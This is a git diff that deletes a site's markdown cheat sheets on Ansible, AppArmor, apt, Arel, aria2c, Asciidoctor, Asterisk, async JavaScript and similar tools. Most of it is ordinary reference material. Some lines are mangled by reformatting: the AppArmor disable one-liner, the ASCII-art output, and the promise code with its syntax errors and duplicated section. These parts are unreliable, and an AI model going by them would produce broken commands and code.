-192.168.0.3
-```
-
-This is a list of hosts you want to manage, grouped into groups. (Hint: try
-using `localhost ansible_connection=local` to deploy to your local machine.)
-
-See: [Intro to Inventory](http://docs.ansible.com/ansible/latest/intro_inventory.html)
-
-### Playbook
-
-#### ~/setup/playbook.yml
-
-```yaml
-- hosts: 127.0.0.1
-  user: root
-  tasks:
-      - name: install nginx
-        apt: pkg=nginx state=present
-
-      - name: start nginx every bootup
-        service: name=nginx state=started enabled=yes
-
-      - name: do something in the shell
-        shell: echo hello > /tmp/abc.txt
-
-      - name: install bundler
-        gem: name=bundler state=latest
-```
-
-See: [Intro to Playbooks](http://docs.ansible.com/ansible/latest/playbooks_intro.html)
-
-## Running
-
-### Running ansible-playbook
-
-```
-~/setup$ ls
-hosts
-playbook.yml
-```
-
-#### Running the playbook
-
-```
-~/setup$ ansible-playbook -i hosts playbook.yml
-PLAY [all] ********************************************************************
-
-GATHERING FACTS ***************************************************************
-ok: [127.0.0.1]
-
-TASK: [install nginx] *********************************************************
-ok: [127.0.0.1]
-
-TASK: start nginx every bootup] ***********************************************
-ok: [127.0.0.1]
-...
-```
-
-## Read more
-
--   [Getting started with Ansible](http://lowendbox.com/blog/getting-started-with-ansible/) _(lowendbox.com)_
--   [Getting started](http://docs.ansible.com/ansible/latest/intro_getting_started.html) _(docs.ansible.com)_
--   [Intro to Inventory](http://docs.ansible.com/ansible/latest/intro_inventory.html) _(docs.ansible.com)_
--   [Intro to Playbooks](http://docs.ansible.com/ansible/latest/playbooks_intro.html) _(docs.ansible.com)_
diff --git a/docs/content/cheat-sheets/ansible-modules.md b/docs/content/cheat-sheets/ansible-modules.md
deleted file mode 100644
index 635383c5e1..0000000000
--- a/docs/content/cheat-sheets/ansible-modules.md
+++ /dev/null
@@ -1,263 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Ansible modules
-category: Ansible
-
-prism_languages: [yaml]
-
----
-
-{% raw %}
-
-## Format
-
-### Basic file
-
-```yaml
----
-- hosts: production
-  remote_user: root
-  tasks:
-      - ···
-```
-
-Place your modules inside `tasks`.
-
-### Task formats
-
-#### One-line
-
-```yaml
-- apt: pkg=vim state=present
-```
-
-#### Map
-
-```yaml
-- apt:
-      pkg: vim
-      state: present
-```
-
-#### Foldable scalar
-
-```yaml
-- apt: >
-      pkg=vim
-      state=present
-```
-
-Define your tasks in any of these formats. One-line format is preferred for short declarations, while maps are preferred for longer.
-
-## Modules
-
-### Aptitude
-
-#### Packages
-
-```yaml
-- apt:
-      pkg: nodejs
-      state: present # absent | latest
-      update_cache: yes
-      force: no
-```
-
-#### Deb files
-
-```yaml
-- apt:
-      deb: 'https://packages.erlang-solutions.com/erlang-solutions_1.0_all.deb'
-```
-
-#### Repositories
-
-```yaml
-- apt_repository:
-      repo: 'deb https://··· raring main'
-      state: present
-```
-
-#### Repository keys
-
-```yaml
-- apt_key:
-      id: AC40B2F7
-      url: 'http://···'
-      state: present
-```
-
-### git
-
-```yaml
-- git:
-      repo: git://github.com/
-      dest: /srv/checkout
-      version: master
-      depth: 10
-      bare: yes
-```
-
-See: [git module](http://devdocs.io/ansible/git_module)
-
-### git_config
-
-```yaml
-- git_config:
-      name: user.email
-      scope: global # local | system
-      value: hi@example.com
-```
-
-See: [git_config module](http://devdocs.io/ansible/git_config_module)
-
-### user
-
-```yaml
-- user:
-      state: present
-      name: git
-      system: yes
-      shell: /bin/sh
-      groups: admin
-      comment: 'Git Version Control'
-```
-
-See: [user module](http://devdocs.io/ansible/user_module)
-
-### service
-
-```yaml
-- service:
-      name: nginx
-      state: started
-      enabled: yes # optional
-```
-
-See: [service module](http://devdocs.io/ansible/service_module)
-
-## Shell
-
-### shell
-
-```yaml
-- shell: apt-get install nginx -y
-```
-
-#### Extra options
-
-```yaml
-- shell: echo hello
-  args:
-      creates: /path/file # skip if this exists
-      removes: /path/file # skip if this is missing
-      chdir: /path # cd here before running
-```
-
-#### Multiline example
-
-```yaml
-- shell: |
-      echo "hello there"
-      echo "multiple lines"
-```
-
-See: [shell module](http://devdocs.io/ansible/shell_module)
-
-### script
-
-```yaml
-- script: /x/y/script.sh
-  args:
-      creates: /path/file # skip if this exists
-      removes: /path/file # skip if this is missing
-      chdir: /path # cd here before running
-```
-
-See: [script module](http://devdocs.io/ansible/script_module)
-
-## Files
-
-### file
-
-```yaml
-- file:
-      path: /etc/dir
-      state: directory # file | link | hard | touch | absent
-
-      # Optional:
-      owner: bin
-      group: wheel
-      mode: 0644
-      recurse: yes # mkdir -p
-      force: yes # ln -nfs
-```
-
-See: [file module](http://devdocs.io/ansible/file_module)
-
-### copy
-
-```yaml
-- copy:
-      src: /app/config/nginx.conf
-      dest: /etc/nginx/nginx.conf
-
-      # Optional:
-      owner: user
-      group: user
-      mode: 0644
-      backup: yes
-```
-
-See: [copy module](http://devdocs.io/ansible/copy_module)
-
-### template
-
-```yaml
-- template:
-      src: config/redis.j2
-      dest: /etc/redis.conf
-
-      # Optional:
-      owner: user
-      group: user
-      mode: 0644
-      backup: yes
-```
-
-See: [template module](http://devdocs.io/ansible/template_module)
-
-## Local actions
-
-### local_action
-
-```yaml
-- name: do something locally
-  local_action: shell echo hello
-```
-
-### debug
-
-```yaml
-- debug:
-      msg: 'Hello {{ var }}'
-```
-
-See: [debug module](http://devdocs.io/ansible/debug_module)
-{% endraw %}
diff --git a/docs/content/cheat-sheets/ansible-roles.md b/docs/content/cheat-sheets/ansible-roles.md
deleted file mode 100644
index 77c90b4c44..0000000000
--- a/docs/content/cheat-sheets/ansible-roles.md
+++ /dev/null
@@ -1,39 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Ansible roles
-category: Ansible
-
----
-
-### Structure
-
-    roles/
-      common/
-        tasks/
-        handlers/
-        files/              # 'copy' will refer to this
-        templates/          # 'template' will refer to this
-        meta/               # Role dependencies here
-        vars/
-        defaults/
-          main.yml
-
-### References
-
--   http://www.ansibleworks.com/docs/playbooks_roles.html
diff --git a/docs/content/cheat-sheets/ansible.md b/docs/content/cheat-sheets/ansible.md
deleted file mode 100644
index 76de22d676..0000000000
--- a/docs/content/cheat-sheets/ansible.md
+++ /dev/null
@@ -1,117 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Ansible
-category: Ansible
-
----
-
-{% raw %}
-
-## Getting started
-
-### Hosts
-
-    $ sudo mkdir /etc/ansible
-    $ sudo vim /etc/ansible/hosts
-
-    [example]
-    192.0.2.101
-    192.0.2.102
-
-### Running a playbook
-
-    $ ansible-playbook playbook.yml
-
-## Tasks
-
-    - hosts: all
-      user: root
-      sudo: no
-      vars:
-        aaa: bbb
-      tasks:
-        - ...
-      handlers:
-        - ...
-
-### Includes
-
-    tasks:
-      - include: db.yml
-    handlers:
-      - include: db.yml user=timmy
-
-## Handlers
-
-    handlers:
-      - name: start apache2
-        action: service name=apache2 state=started
-
-    tasks:
-      - name: install apache
-        action: apt pkg=apache2 state=latest
-        notify:
-          - start apache2
-
-## Vars
-
-    - host: lol
-      vars_files:
-        - vars.yml
-      vars:
-        project_root: /etc/xyz
-      tasks:
-        - name: Create the SSH directory.
-          file: state=directory path=${project_root}/home/.ssh/
-          only_if: "$vm == 0"
-
-## Roles
-
-    - host: xxx
-      roles:
-        - db
-        - { role:ruby, sudo_user:$user }
-        - web
-
-    # Uses:
-    # roles/db/tasks/*.yml
-    # roles/db/handlers/*.yml
-
-### Task: Failures
-
-    - name: my task
-      command: ...
-      register: result
-      failed_when: "'FAILED' in result.stderr"
-
-      ignore_errors: yes
-
-      changed_when: "result.rc != 2"
-
-### Env vars
-
-    vars:
-      local_home: "{{ lookup('env','HOME') }}"
-
-## References
-
--   [Intro](http://www.ansibleworks.com/docs/intro_configuration.html)
--   [Modules](http://www.ansibleworks.com/docs/modules.html)
-
-{% endraw %}
diff --git a/docs/content/cheat-sheets/apparmor.md b/docs/content/cheat-sheets/apparmor.md
deleted file mode 100644
index 933fe20937..0000000000
--- a/docs/content/cheat-sheets/apparmor.md
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# apparmor will protect a system by confining programs to a limited set of resources.
-
-# To activate a profile:
-
-sudo aa-enforce usr.bin.firefox
-
-# or
-
-export _PROFILE_='usr.bin.firefox' sudo $(rm /etc/apparmor.d/disable/$_PROFILE_ ; cat /etc/apparmor.d/$_PROFILE_ | apparmor_parser -a )
-
-# To disable a profile:
-
-sudo aa-disable usr.bin.firefox
-
-# or
-
-export _PROFILE_='usr.bin.firefox' sudo $(ln -s /etc/apparmor.d/$_PROFILE_ /etc/apparmor.d/disable/ && apparmor*parser -R /etc/apparmor.d/$\_PROFILE*)
-
-# To list profiles loaded:
-
-sudo aa-status
-
-# or
-
-sudo apparmor_status
-
-# List of available profiles: /etc/apparmor.d/
diff --git a/docs/content/cheat-sheets/applescript.md b/docs/content/cheat-sheets/applescript.md
deleted file mode 100644
index 56a02e85bb..0000000000
--- a/docs/content/cheat-sheets/applescript.md
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: AppleScript
-
-category: macOS
-prism_languages: [applescript]
-
----
-
-### Running
-
-```applescript
-osascript -e "..."
-```
-
-```applescript
-display notification "X" with title "Y"
-```
-
-### Comments
-
-```applescript
--- This is a single line comment
-```
-
-```applescript
-# This is another single line comment
-```
-
-```applescript
-(*
-This is
-a multi
-line comment
-*)
-```
-
-### Say
-
-```applescript
--- default voice
-say "Hi I am a Mac"
-```
-
-```applescript
--- specified voice
-say "Hi I am a Mac" using "Zarvox"
-```
-
-### Beep
-
-```applescript
--- beep once
-beep
-```
-
-```applescript
--- beep 10 times
-beep 10
-```
-
-### Delay
-
-```applescript
--- delay for 5 seconds
-delay 5
-```
diff --git a/docs/content/cheat-sheets/applinks.md b/docs/content/cheat-sheets/applinks.md
deleted file mode 100644
index c4d9a6c0bc..0000000000
--- a/docs/content/cheat-sheets/applinks.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Applinks
-category: HTML
-
----
-
-    <meta property="al:ios:url" content="applinks://docs" />
-    <meta property="al:ios:app_store_id" content="12345" />
-    <meta property="al:ios:app_name" content="App Links" />
-
-    <meta property="al:android:url" content="applinks://docs" />
-    <meta property="al:android:app_name" content="App Links" />
-    <meta property="al:android:package" content="org.applinks" />
-
-    <meta property="al:web:url" content="http://applinks.org/documentation" />
-
-### Device types
-
--   `ios`
--   `ipad`
--   `iphone`
--   `android`
--   `windows_phone`
--   `web`
-
-### Reference
-
--   [applinks.org](http://applinks.org/documentation/)
diff --git a/docs/content/cheat-sheets/apt-cache.md b/docs/content/cheat-sheets/apt-cache.md
deleted file mode 100644
index 1b3ef53600..0000000000
--- a/docs/content/cheat-sheets/apt-cache.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## tags: [packaging]
-
-# To find packages matching <phrase>:
-
-apt-cache search <phrase>
-
-# To display package records for the named package(s):
-
-apt-cache show <package>...
-
-# To display reverse dependencies of a package:
-
-apt-cache rdepends <package>
-
-# To display package versions, reverse dependencies and forward dependencies of
-
-# a package
-
-apt-cache showpkg <package>
diff --git a/docs/content/cheat-sheets/apt-get.md b/docs/content/cheat-sheets/apt-get.md
deleted file mode 100644
index 0856f10b7f..0000000000
--- a/docs/content/cheat-sheets/apt-get.md
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## tags: [packaging]
-
-# To fetch package list:
-
-apt-get update
-
-# To download and install package updates:
-
-apt-get upgrade
-
-# To download and install the updates AND install new necessary packages:
-
-apt-get dist-upgrade
-
-# Full command:
-
-apt-get update && apt-get dist-upgrade
-
-# To install a new package(s):
-
-apt-get install <package>...
-
-# To download a package without installing it. (The package will be downloaded in your current working dir)
-
-apt-get download <package>
-
-# To change cache dir and archive dir (where .deb are stored):
-
-apt-get -o Dir::Cache="/path/to/destination/dir/" -o Dir::Cache::archives="./" install ...
-
-# To show apt-get installed packages:
-
-grep 'install ' /var/log/dpkg.log
-
-# To silently keep old configuration during batch updates:
-
-apt-get update -o DPkg::Options::='--force-confold' ...
diff --git a/docs/content/cheat-sheets/apt.md b/docs/content/cheat-sheets/apt.md
deleted file mode 100644
index d989544f0f..0000000000
--- a/docs/content/cheat-sheets/apt.md
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Ubuntu Commands
-subtitle: packaging
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## tags: []
-
-# To find packages matching <phrase>:
-
-apt search <phrase>
-
-# To show information on a package:
-
-apt show <package>
-
-# To fetch package list:
-
-apt update
-
-# To download and install updates without installing new package:
-
-apt upgrade
-
-# To download and install the updates AND install new necessary packages:
-
-apt dist-upgrade
-
-# To perform a full system upgrade:
-
-apt update && apt dist-upgrade
-
-# To install package(s):
-
-apt install <package>...
-
-# To uninstall package(s):
-
-apt remove <package>...
diff --git a/docs/content/cheat-sheets/arel.md b/docs/content/cheat-sheets/arel.md
deleted file mode 100644
index 480c2608d2..0000000000
--- a/docs/content/cheat-sheets/arel.md
+++ /dev/null
@@ -1,157 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Arel
-category: Rails
-
----
-
-### Tables
-
-```rb
-users = Arel::Table.new(:users)
-users = User.arel_table  # ActiveRecord model
-```
-
-### Fields
-
-```rb
-users[:name]
-users[:id]
-```
-
-### `where` (restriction)
-
-```rb
-users.where(users[:name].eq('amy'))
-# SELECT * FROM users WHERE users.name = 'amy'
-```
-
-### `select` (projection)
-
-```rb
-users.project(users[:id])
-# SELECT users.id FROM users
-```
-
-### `join`
-
-#### basic join
-
-In ActiveRecord (without Arel), if `:photos` is the name of the association, use `joins`
-
-```rb
-users.joins(:photos)
-```
-
-In Arel, if `photos` is defined as the Arel table,
-
-```rb
-photos = Photo.arel_table
-users.join(photos)
-users.join(photos, Arel::Nodes::OuterJoin).on(users[:id].eq(photos[:user_id]))
-```
-
-#### join with conditions
-
-```rb
-users.joins(:photos).merge(Photo.where(published: true))
-```
-
-If the simpler version doesn't help and you want to add more SQL statements to it:
-
-```rb
-users.join(
-   users.join(photos, Arel::Nodes::OuterJoin)
-   .on(photos[:user_id].eq(users[:id]).and(photos[:published].eq(true)))
-)
-```
-
-#### advanced join
-
-multiple `joins` with the same table but different meanings and/or conditions
-
-```rb
-creators = User.arel_table.alias('creators')
-updaters = User.arel_table.alias('updaters')
-photos = Photo.arel_table
-
-photos_with_credits = photos
-.join(photos.join(creators, Arel::Nodes::OuterJoin).on(photos[:created_by_id].eq(creators[:id])))
-.join(photos.join(updaters, Arel::Nodes::OuterJoin).on(photos[:assigned_id].eq(updaters[:id])))
-.project(photos[:name], photos[:created_at], creators[:name].as('creator'), updaters[:name].as('editor'))
-
-photos_with_credits.to_sql
-# => "SELECT `photos`.`name`, `photos`.`created_at`, `creators`.`name` AS creator, `updaters`.`name` AS editor FROM `photos` INNER JOIN (SELECT FROM `photos` LEFT OUTER JOIN `users` `creators` ON `photos`.`created_by_id` = `creators`.`id`) INNER JOIN (SELECT FROM `photos` LEFT OUTER JOIN `users` `updaters` ON `photos`.`updated_by_id` = `updaters`.`id`)"
-
-# after the request is done, you can use the attributes you named
-# it's as if every Photo record you got has "creator" and "editor" fields, containing creator name and editor name
-photos_with_credits.map{|x|
-  "#{photo.name} - copyright #{photo.created_at.year} #{photo.creator}, edited by #{photo.editor}"
-}.join('; ')
-```
-
-### `limit` / `offset`
-
-```rb
-users.take(5) # => SELECT * FROM users LIMIT 5
-users.skip(4) # => SELECT * FROM users OFFSET 4
-```
-
-### Aggregates
-
-```rb
-users.project(users[:age].sum) # .average .minimum .maximum
-users.project(users[:id].count)
-users.project(users[:id].count.as('user_count'))
-```
-
-### `order`
-
-```rb
-users.order(users[:name])
-users.order(users[:name], users[:age].desc)
-users.reorder(users[:age])
-```
-
-### With ActiveRecord
-
-```rb
-User.arel_table
-User.where(id: 1).arel
-```
-
-### Clean code with arel
-
-Most of the clever stuff should be in scopes, e.g. the code above could become:
-
-```rb
-photos_with_credits = Photo.with_creator.with_editor
-```
-
-You can store requests in variables then add SQL segments:
-
-```rb
-all_time      = photos_with_credits.count
-this_month    = photos_with_credits.where(photos[:created_at].gteq(Date.today.beginning_of_month))
-recent_photos = photos_with_credits.where(photos[:created_at].gteq(Date.today.beginning_of_month)).limit(5)
-```
-
-## Reference
-
--   <http://github.com/rails/arel>
diff --git a/docs/content/cheat-sheets/aria2c.md b/docs/content/cheat-sheets/aria2c.md
deleted file mode 100644
index 4be73bb30a..0000000000
--- a/docs/content/cheat-sheets/aria2c.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To download a file:
-
-# The url can be a http(s), ftp, .torrent file or even a magnet link
-
-aria2c <url>
-
-# To prevent downloading the .torrent file:
-
-aria2c --follow-torrent=mem <url>
-
-# Download 1 file at a time (-j)
-
-# continuing (-c) any partially downloaded ones
-
-# to the directory specified (-d)
-
-# reading urls from the file (-i)
-
-aria2c -j 1 -c -d ~/Downloads -i /path/to/file
diff --git a/docs/content/cheat-sheets/asciiart.md b/docs/content/cheat-sheets/asciiart.md
deleted file mode 100644
index 8beaa18dcf..0000000000
--- a/docs/content/cheat-sheets/asciiart.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To show some text in ASCII Art:
-
-figlet Cheat
-
-# \__\_\_ _ \_
-
-# / **\_| |** **\_ ** _| |_
-
-#| | | '_ \ / _ \/ \_` | **|
-#| |\_**| | | | \__/ (_| | |\_
-
-# \_**_|_| |\_|\_**|\__,_|\_\_|
-
-#
-
-# To have some text with color and other options:
-
-# Show with a border
-
-toilet -F border Cheat
-
-# Basic show (filled)
-
-toilet Cheat
-
-# mmm # m
-
-# m" " # mm mmm mmm mm#mm
-
-# # #" # #" # "
-
-# # # # #"""" m"""#
-
-# "mmm" # # "#mm" "mm"# "mm
-
-#
diff --git a/docs/content/cheat-sheets/asciidoctor.md b/docs/content/cheat-sheets/asciidoctor.md
deleted file mode 100644
index fb4bdd1601..0000000000
--- a/docs/content/cheat-sheets/asciidoctor.md
+++ /dev/null
@@ -1,162 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# headers
-
-= h1 header
-== h2 header
-
-# blocks
-
-[quote, Somebody, Who is somebody]
-
----
-
-Quote something
-
----
-
-//
-NOTE: Some note
-//
-[WARNING]
-====
-Some warning
-====
-
-# lists
-
-.Un-ordered list with a title
-
--   list item
-    \*\* sub-list item
-
-*   hypen as sub-sub-list item
-
--   that continues at the next line
-
-*   {blank}
-
--   ***
-    ## complex content of an item
-
-[%reversed,start=4]
-.Ordered list; reversed, started at 4
-. ordered list item
-.. ordered list sub-item
-. another list item
-
-# separating adjacent lists (surrounded by blank lines)
-
-//-
-
-# checklist
-
--   [*] checked
--   [x] also checked
--   [ ] not checked
-
-Description list item:: definition
-[horizontal]
-Description list item #2:: definition
-
-# links
-
-Automatic link http://example.com or
-http://example.com[link with title and attributes,role=external,window=\_blank]
-link:../README.adoc[Relative link to open the README file]
-
-# cross reference links
-
-[[an-anchor]]inline anchor, [#other-anchor]#applied to a phrase#
-Reference to <<an-anchor>> or to <<other-anchor,the other anchor>>
-
-# image
-
-image:image.png[Alt text, title="Inline image"]
-
-.Block image title
-[caption="Figure 1: ",link=http://example.com/image.png]
-image::image.jpg[Alt text, 300, 200]
-
-# code
-
-....
-literal block
-....
-
-:variable: 123
-.Source code title
-[source,asciidoc,subs="+quotes,attributes+",options="nowrap"]
-
----
-
-:toc: right # <1>
-// with var substitution (attributes+)
-:variable: definition, the value is {variable}
-// with the markup substitution (+quotes)
-// no wrapping long lines (nowrap)
-
----
-
-<1> Asciidoctor sytax for the table of content
-
-# include source code, stripping indentation
-
-## [source,asciidoc,indent=0]
-
-## include::doc/document.adoc[lines=5..10]
-
-# formatting
-
-_bold_, **un**constrained
-_italic_, **un**constrained
-`monospace`, `un`constrained
-`[underline]#Underline text#`
-`[overline]#overline text#`
-`[line-through]#strikethrough#`
-`[blue line-through]*bold blue and line-through*.`
-
-# comment
-
-// text in the comment
-
-# horizontal rules (hr)
-
-'''
-
-Non-breaking space {nbsp}
-Break at the end of +
-line
-
-# tables
-
-.Table title
-[caption="Table 2: "]
-|===
-| Name | Description
-//
-| Asciidoctor
-| Awesome way to write documentation
-//
-2+| This cell spans 2 columns
-//
-.2+| This cell spans 2 rows
-//
-| Line at the side of the spanned rows
-| Another line
-//
-|===
diff --git a/docs/content/cheat-sheets/asterisk.md b/docs/content/cheat-sheets/asterisk.md
deleted file mode 100644
index 3a7505504b..0000000000
--- a/docs/content/cheat-sheets/asterisk.md
+++ /dev/null
@@ -1,39 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To connect to a running Asterisk session:
-
-asterisk -rvvv
-
-# To issue a command to Asterisk from the shell:
-
-asterisk -rx "<command>"
-
-# To originate an echo call from a SIP trunk on an Asterisk server, to a specified number:
-
-asterisk -rx "channel originate SIP/<trunk>/<number> application echo"
-
-# To print out the details of SIP accounts:
-
-asterisk -rx "sip show peers"
-
-# To print out the passwords of SIP accounts:
-
-asterisk -rx "sip show users"
-
-# To print out the current active channels:
-
-asterisk -rx "core show channels"
diff --git a/docs/content/cheat-sheets/asynchronous-javascript-cheat-sheet-1.md b/docs/content/cheat-sheets/asynchronous-javascript-cheat-sheet-1.md
deleted file mode 100644
index cea545ffb7..0000000000
--- a/docs/content/cheat-sheets/asynchronous-javascript-cheat-sheet-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# Asynchronous JavaScript Cheat Sheet
diff --git a/docs/content/cheat-sheets/asynchronous-javascript-cheat-sheet.md b/docs/content/cheat-sheets/asynchronous-javascript-cheat-sheet.md
deleted file mode 100644
index bd741e9bd5..0000000000
--- a/docs/content/cheat-sheets/asynchronous-javascript-cheat-sheet.md
+++ /dev/null
@@ -1,155 +0,0 @@
-# Asynchronous JavaScript Cheat Sheet
-
-#### Promise basics
-
--   **Promises** start in a **pending state**, neither fulfilled or rejected.
--   When the operation is completed, a promise will become **fulfilled with a value**.
--   If the operation fails, a promise will get **rejected with an error**.
-
-#### Creating promises
-
--   The function passed to a `new Promise` will execute synchronously.
--   Use `resolve()` or `reject()` to create promises from values.
--   `Promise.resolve(val)` will fulfill the promise with `val`.
--   `Promise.reject(err)` will reject the promise with `err`.
--   If you put a fulfilled promise into a fulfilled promise, they will collapse into one.
-
-```js
-// Resolving with a value, rejecting with an error
-new Promise((resolve, reject) => {
-    performOperation((err, val) => {
-        if (err) reject(err);
-        else resolve(val);
-    });
-});
-
-// Resolving without value, no need for reject
-const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
-```
-
-#### Handling promises
-
--   `Promise.prototype.then()` accepts two optional arguments (`onFulfilled`, `onRejected`).
--   `Promise.prototype.then()` will call `onFulfilled` once the promise is fulfilled.
--   `Promise.prototype.then()` will call `onRejected` if the promise is rejected.
--   `Promise.prototype.then()` passes errors through if `onRejected` in undefined.
--   `Promise.prototype.catch()` accepts one argument (`onRejected`).
--   `Promise.prototype.catch()` behaves like `Promise.prototype.then()` when `onFulfilled` is omitted.
--   `Promise.prototype.catch()` passes fulfilled values through.
--   `Promise.prototype.finally()` accepts one argument (`onFinally`).
--   `Promise.prototype.finally()` calls `onFinally` with no arguments once any outcome is available.
--   `Promise.prototype.finally()` passes through input promise.
-
-```js
-promisedOperation()
-  .then(
-    val => value + 1,   // Called once the promise is fulfilled
-    err => {            // Called if the promise is rejected
-      if (err === someKnownErr) return defaultVal;
-      else throw err;
-    }
-  )
-  .catch(
-    err => console.log(err); // Called if the promise is rejected
-  )
-  .finally(
-    () => console.log('Done'); // Called once any outcome is available
-  );
-```
-
--   All three of the above methods will not be executed at least until the next tick, even for promises that already have an outcome.
-
-#### Combining promises
-
--   `Promise.all()` turns an array of promises into a promise of an array.
--   If any promise is rejected, the error will pass through.
--   `Promise.race()` passes through the first settled promise.
-
-```js
-Promise.all([p1, p2, p3]).then(([v1, v2, v3]) => {
-    // Values always correspond to the order of promises,
-    // not the order they resolved in (i.e. v1 corresponds to p1)
-});
-
-Promise.race([p1, p2, p3]).then((val) => {
-    // val will take the value of the first resolved promise
-});
-```
-
-#### async/await
-
--   Calling an `async` function always results in a promise.
--   `(async () => value)()` will resolve to `value`.
--   `(async () => throw err)()` will reject with an error.
--   `await` waits for a promise to be fulfilled and returns its value.
--   `await` can only be used in `async` functions.
--   `await` also accepts non-promise values.
--   `await` always waits at least until the next tick before resolving, even when waiting already fulfilled promises or non-promise values.
-
-```js
-async () => {
-    try {
-        let val = await promisedValue();
-        // Do stuff here
-    } catch (err) {
-        // Handle error
-    }
-};
-```
-
-#### Promise basics
-
--   **Promises** start in a **pending state**, neither fulfilled or rejected.
--   When the operation is completed, a promise will become **fulfilled with a value**.
--   If the operation fails, a promise will get **rejected with an error**.
-
-#### Creating promises
-
--   The function passed to a `new Promise` will execute synchronously.
--   Use `resolve()` or `reject()` to create promises from values.
--   `Promise.resolve(val)` will fulfill the promise with `val`.
--   `Promise.reject(err)` will reject the promise with `err`.
--   If you put a fulfilled promise into a fulfilled promise, they will collapse into one.
-
-// Resolving with a value, rejecting with an error new Promise((resolve, reject) => { performOperation((err, val) => { if (err) reject(err); else resolve(val); }); });
-
-// Resolving without value, no need for reject const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));
-
-#### Handling promises
-
--   `Promise.prototype.then()` accepts two optional arguments (`onFulfilled`, `onRejected`).
--   `Promise.prototype.then()` will call `onFulfilled` once the promise is fulfilled.
--   `Promise.prototype.then()` will call `onRejected` if the promise is rejected.
--   `Promise.prototype.then()` passes errors through if `onRejected` in undefined.
--   `Promise.prototype.catch()` accepts one argument (`onRejected`).
--   `Promise.prototype.catch()` behaves like `Promise.prototype.then()` when `onFulfilled` is omitted.
--   `Promise.prototype.catch()` passes fulfilled values through.
--   `Promise.prototype.finally()` accepts one argument (`onFinally`).
--   `Promise.prototype.finally()` calls `onFinally` with no arguments once any outcome is available.
--   `Promise.prototype.finally()` passes through input promise.
-
